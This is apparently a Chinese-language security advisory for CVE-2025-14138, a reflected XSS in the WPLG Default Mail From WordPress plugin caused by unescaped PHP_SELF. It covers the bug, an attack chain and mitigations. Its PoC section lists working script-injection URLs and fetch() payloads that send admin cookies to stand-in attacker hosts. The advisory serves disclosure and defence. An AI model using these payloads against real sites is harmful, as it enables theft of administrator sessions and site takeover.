CVE-2025-14138 WordPress WPLG Default Mail From插件反射型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-14138

漏洞类型

反射型跨站脚本攻击(XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WPLG Default Mail From plugin for WordPress

漏洞概述

CVE-2025-14138是WordPress插件WPLG Default Mail From中的一个中危安全漏洞。该插件用于设置WordPress网站的默认邮件发送地址。漏洞源于插件在处理用户输入时未对$_SERVER['PHP_SELF']变量进行充分的输入清理和输出转义，导致攻击者可以在页面中注入任意Web脚本。攻击者可以利用此漏洞构造恶意链接，诱骗已登录的管理员或用户点击，从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于该漏洞为反射型XSS，无需认证即可发起攻击，但需要用户交互（如点击链接）才能触发。由于CVSS评分为6.1（中等严重程度），漏洞利用难度较低，对网站安全性构成一定威胁。建议受影响用户尽快升级到最新版本或采取临时防护措施。

技术细节

漏洞根源在于WPLG Default Mail From插件的wplg.php文件第134行附近，代码直接使用$_SERVER['PHP_SELF']变量而未进行任何输入验证或HTML转义处理。$_SERVER['PHP_SELF']返回当前执行脚本的路径，攻击者可以通过在URL中注入恶意脚本来利用此变量。例如，访问形如/wp-admin/admin.php/<script>alert(1)</script>的URL时，PHP_SELF会包含完整路径，插件若将其直接输出到HTML页面而不转义，就会执行注入的JavaScript代码。攻击者通常构造包含XSS payload的链接并通过社会工程学手段诱骗目标点击。由于WordPress管理后台许多页面都会加载admin.php，攻击者可以在任意管理页面触发此漏洞。成功利用后可窃取管理员cookie、获取后台权限或进行进一步攻击。

攻击链分析

STEP 1

步骤1

攻击者识别目标网站使用的WPLG Default Mail From插件版本<=1.0.0

STEP 2

步骤2

攻击者构造包含XSS payload的恶意URL，利用$_SERVER['PHP_SELF']变量注入点

STEP 3

步骤3

攻击者通过钓鱼邮件、社交工程或其他方式诱骗已登录的管理员或用户点击恶意链接

STEP 4

步骤4

受害者浏览器执行注入的JavaScript代码，攻击者窃取Cookie或执行其他恶意操作

STEP 5

步骤5

攻击者利用窃取的会话信息劫持管理员账户，获取后台完全控制权限

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-14138 PoC: Reflected XSS in WPLG Default Mail From plugin -->
<!-- Attacker constructs a malicious URL with XSS payload -->
<!-- When admin clicks the link, the script executes in their browser -->

<!-- Example malicious URL -->
http://target-site.com/wp-admin/admin.php/<script>alert(document.cookie)</script>

<!-- Or with event handler for stealth -->
http://target-site.com/wp-admin/admin.php/" onmouseover="alert('XSS')

<!-- Real-world attack URL might look like: -->
<!-- http://victim.com/wp-admin/options-general.php?page=wplg-default-mail-from/<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> -->

<!-- HTML form for demonstration (requires admin interaction): -->
<form action="http://victim.com/wp-admin/admin.php/<script>alert(document.domain)</script>" method="GET">
    <button type="submit">Click me</button>
</form>

<!-- JavaScript payload for cookie stealing: -->
<script>
    fetch('https://attacker-controlled.com/log?cookie=' + encodeURIComponent(document.cookie));
</script>

影响范围

WPLG Default Mail From <= 1.0.0

防御指南

临时缓解措施

在官方修复版本发布前，可采取以下临时缓解措施：1) 临时禁用WPLG Default Mail From插件，使用WordPress内置邮件设置；2) 在Web应用防火墙(WAF)中配置规则阻止包含<script>标签的请求参数；3) 为管理员账户启用双因素认证以降低账户劫持风险；4) 通过.htaccess或Nginx配置对admin页面实施严格的访问控制；5) 培训管理员不要点击来历不明的链接，特别是包含特殊字符的URL；6) 监控日志关注异常的admin.php访问请求模式。